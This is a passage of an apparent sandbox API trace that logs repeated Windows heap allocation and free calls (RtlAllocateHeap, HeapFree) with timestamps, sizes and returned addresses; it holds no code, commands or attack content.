RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.213] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.214] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.214] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: 